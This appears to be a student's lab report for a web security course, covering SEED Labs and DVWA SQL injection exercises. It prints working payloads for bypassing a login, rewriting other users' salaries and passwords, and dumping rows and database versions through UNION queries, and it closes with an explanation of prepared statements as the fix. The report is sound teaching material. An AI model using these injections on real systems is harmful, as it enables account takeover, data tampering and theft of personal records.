



**Department of Computer Science and Engineering**  
**Islamic University of Technology (IUT)**  
A subsidiary organ of OIC

**Assignment**

**CSE 4531: E-Commerce and Web Security**

**Name: Khandakar Shakib Al Hasan**

**Student ID: 210041118**

**Section: 1B**

**Semester: Fifth**

**Academic Year: 2023-2024**

**Date of Submission: 16.03.2025**

## Task 1:

For this task, we accessed the mysql database with MySQL queries. We logged in as root and then entered the sqllab\_users database then we used the command `show tables` to see the tables.

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

```
mysql> use sqllab
ERROR 1049 (42000): Unknown database 'sqllab'
mysql> use sqllab_users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
```

```
Database changed
mysql> show tables;
+-----+
| Tables_in_sqllab_users |
+-----+
| credential              |
+-----+
1 row in set (0.00 sec)
```

```
mysql> █
```

## Task 2:

2.1: For this task, we had to login as admin. To do this we did a sql injection attack where the name is admin and rest of the constraint takings are ignored with the comment out sign for mysql `#`

## Employee Profile Login

|                                      |          |
|--------------------------------------|----------|
| USERNAME                             | admin';# |
| PASSWORD                             | Password |
| <input type="button" value="Login"/> |          |

Copyright © SEED LABs

2.2: For this task, we had to attack using command line which is using the curl command. We see that it uses the get method to request.

 [www.seed-server.com/unsafe\\_home.php?username=admin'%3B%23&Password=](http://www.seed-server.com/unsafe_home.php?username=admin'%3B%23&Password=)

So we copied the url and used curl to print out the response.

```
[03/16/25]seed@VM:~$ curl http://www.seed-server.com/unsafe_home.php?username=admin%27%3B%23&Password=
[1] 3923
[03/16/25]seed@VM:~$ <!--
SEED Lab: SQL Injection Education Web plateform
Author: Kailiang Ying
Email: kying@syr.edu
-->

<!--
SEED Lab: SQL Injection Education Web plateform
Enhancement Version 1
Date: 12th April 2018
Developer: Kuber Kohli

Update: Implemented the new bootstrap design. Implemented a new Navbar at the top with two menu options for Home and edit profile, with a butt
on to
logout. The profile details fetched will be displayed using the table class of bootstrap with a dark table head theme.

NOTE: please note that the navbar items should appear only for users and the page with error login message should not have any of these items
at
all. Therefore the navbar tag starts before the php tag but it end within the php script adding items as required.
-->

<!DOCTYPE html>
<html lang="en">
<head>
  <!-- Required meta tags -->
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  <!-- Bootstrap CSS -->
  <link rel="stylesheet" href="css/bootstrap.min.css">
  <link href="css/style_home.css" type="text/css" rel="stylesheet">
```

So, it does return the response.

We pasted it on a file and then opened it in a browser. Which was the direct webpage.

[SEED Labs](#)

- [Home \(current\)](#)
- [Edit Profile](#)

[Logout](#)

## User Details

| Username | EId   | Salary | Birthday | SSN      | Nickname | Email | Address | Ph. Number |
|----------|-------|--------|----------|----------|----------|-------|---------|------------|
| Alice    | 10000 | 20000  | 9/20     | 10211002 |          |       |         |            |
| Boby     | 20000 | 30000  | 4/20     | 10213352 |          |       |         |            |
| Ryan     | 30000 | 50000  | 4/10     | 98993524 |          |       |         |            |
| Samy     | 40000 | 90000  | 1/11     | 32193525 |          |       |         |            |
| Ted      | 50000 | 110000 | 11/3     | 32111111 |          |       |         |            |
| Admin    | 99999 | 400000 | 3/5      | 43254314 |          |       |         |            |

Copyright © SEED LABS

## Task 3:

3.1 : Modify alice salary.

To do this we used the following sql injection:

1', salary= 10000000 where name = 'Alice';#

Here, the first part is ignored and then we are setting the salary to 10000000 where the name is Alice.

It updates the salary for Alice

| Alice Profile |          |
|---------------|----------|
| Key           | Value    |
| Employee ID   | 10000    |
| Salary        | 10000000 |
| Birth         | 9/20     |
| SSN           | 10211002 |
| NickName      |          |
| Email         |          |
| Address       |          |
| Phone Number  | 1        |

3.2: modify other people salary:

The query is like the other one. Only we change the name to Bobby

```
1', salary= 1 where name = 'Bobby'; #
```

| Bobby Profile |          |
|---------------|----------|
| Key           | Value    |
| Employee ID   | 20000    |
| Salary        | 1        |
| Birth         | 4/20     |
| SSN           | 10213352 |
| NickName      |          |
| Email         |          |
| Address       |          |
| Phone Number  | 1        |

So, It updates the Bobby's profile

Task 3.3: Modify other people's password.

This time we modify the password column instead of salary

SQL statement:

```
1', password= '123' where name = 'Bobby';#
```

After executing this statement, we go to the MySQL to check whether it is changed or not.

```
mysql> mysql> select * from credentialn where name = 'Bobby';
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address | Email | NickName | Password |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 2 | Bobby | 20000 | 1 | 4/20 | 10213352 | 1 | | | | 123 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
1 row in set (0.00 sec)
```

From the result we see that the password is changed.

## Task 4:

For this task we had to login as the first user. We know that whenever we fetch a table or list of values from the database the backend uses the very first row as the input.

So, we close the query and union it with a new query that selects all the rows from credential table.

```
' union select * from credential;#
```

## Alice Profile

| Key          | Value    |
|--------------|----------|
| Employee ID  | 10000    |
| Salary       | 10       |
| Birth        | 9/20     |
| SSN          | 10211002 |
| NickName     |          |
| Email        |          |
| Address      |          |
| Phone Number | 1        |

We successfully logged in as Alice.

### Task 5:

For getting the column number for the name field we used the column number and checked their placement on the table that we see in the profile.

```
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM credential;#
```

This query should return a table based on the column number

```
mysql> select 1,2,3,4,5,6,7,8,96,7,8,9,10,11 from credential;#
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 96 | 7 | 8 | 9 | 10 | 11 |
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 96 | 7 | 8 | 9 | 10 | 11 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 96 | 7 | 8 | 9 | 10 | 11 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 96 | 7 | 8 | 9 | 10 | 11 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 96 | 7 | 8 | 9 | 10 | 11 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 96 | 7 | 8 | 9 | 10 | 11 |
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
6 rows in set (0.00 sec)
```

By comparing the profile table, we can see that the nickname is placed at 10. So, name field is in 10<sup>th</sup> column

## 2 Profile

| Key          | Value |
|--------------|-------|
| Employee ID  | 3     |
| Salary       | 4     |
| Birth        | 5     |
| SSN          | 6     |
| NickName     | 10    |
| Email        | 9     |
| Address      | 8     |
| Phone Number | 7     |

## Task 6:

To get the version of mysql begins used we used to build in version() command for the MySQL database in the previous query

```
' UNION SELECT 1,2,3, version(),5,6,7,8,9,10,11 FROM credential; #
```

Which returns the version number, and which is placed in the profile table.

| 2 Profile    |        |
|--------------|--------|
| Key          | Value  |
| Employee ID  | 3      |
| Salary       | 8.0.22 |
| Birth        | 5      |
| SSN          | 6      |
| NickName     | 10     |
| Email        | 9      |
| Address      | 8      |
| Phone Number | 7      |

Therefore, the version number is 8.0.22

## Task 7:

With the help of prepared statements, we can remove sql injection vulnerability. In the prepared statements the SQL code is compiled beforehand with empty placeholders. Therefore, whenever anything is placed in the placeholder it will consider it as part of data no matter what. Because the compilation is done beforehand. Using the prepared statement mechanism, we divide the process of sending a SQL statement to the database into two steps. The first step is to only send the



code part, i.e., a SQL statement without the actual the data. This is the prepare step. The actual data are replaced by question marks (?). After this step, we then send the data to the database using bindparam(). The database will treat everything sent in this step only as data, not as code anymore. It binds the data to the corresponding question marks of the prepared statement. Therefore, no SQL code can be injected.

## Task 8:

We change the security level to medium and then we go to the the page. We then go to the html code of that site by clicking inspect. We added a new entry placing the value as 1 or 1=1; --

```
<form action="#" method="POST">
  <p>
    " User ID: "
    <select name="id">
      <option value="1 or 1 = 1; --">1</option>
      <option value="2">2</option>
      <option value="3">3</option>
      <option value="4">4</option>
      <option value="5">5</option>
    </select>
```

And then selecting it and clicking submit. We were able to retrieve all the user's information.

User ID:

ID: 1 or 1 =1; --  
First name: admin  
Surname: admin

ID: 1 or 1 =1; --  
First name: Gordon  
Surname: Brown

ID: 1 or 1 =1; --  
First name: Hack  
Surname: Me

ID: 1 or 1 =1; --  
First name: Pablo  
Surname: Picasso

ID: 1 or 1 =1; --  
First name: Bob  
Surname: Smith

Here, we see only two column values are returned.

So, we put the following entry `1 UNION SELECT database(), @@version --`

Here, in this query, we union the initial table with a new table with entry as database and version.

```
<h1>Vulnerability: SQL Injection</h1>
<div class="vulnerable_code_area">
  <form action="#" method="POST">
    <p>
      " User ID: "
      <select name="id">
        <option value="1 UNION SELECT database(), @@version --">1</option>
        <option value="2">2</option>
        <option value="3">3</option>
        <option value="4">4</option>
        <option value="5">5</option>
```

User ID:

```
ID: 1 UNION SELECT database(), @@version --  
First name: admin  
Surname: admin
```

```
ID: 1 UNION SELECT database(), @@version --  
First name: dvwa  
Surname: 10.4.32-MariaDB
```

We can see in the second one we get the database version and database name.

Database name: DVWA

Version: 10.4.32-MariaDB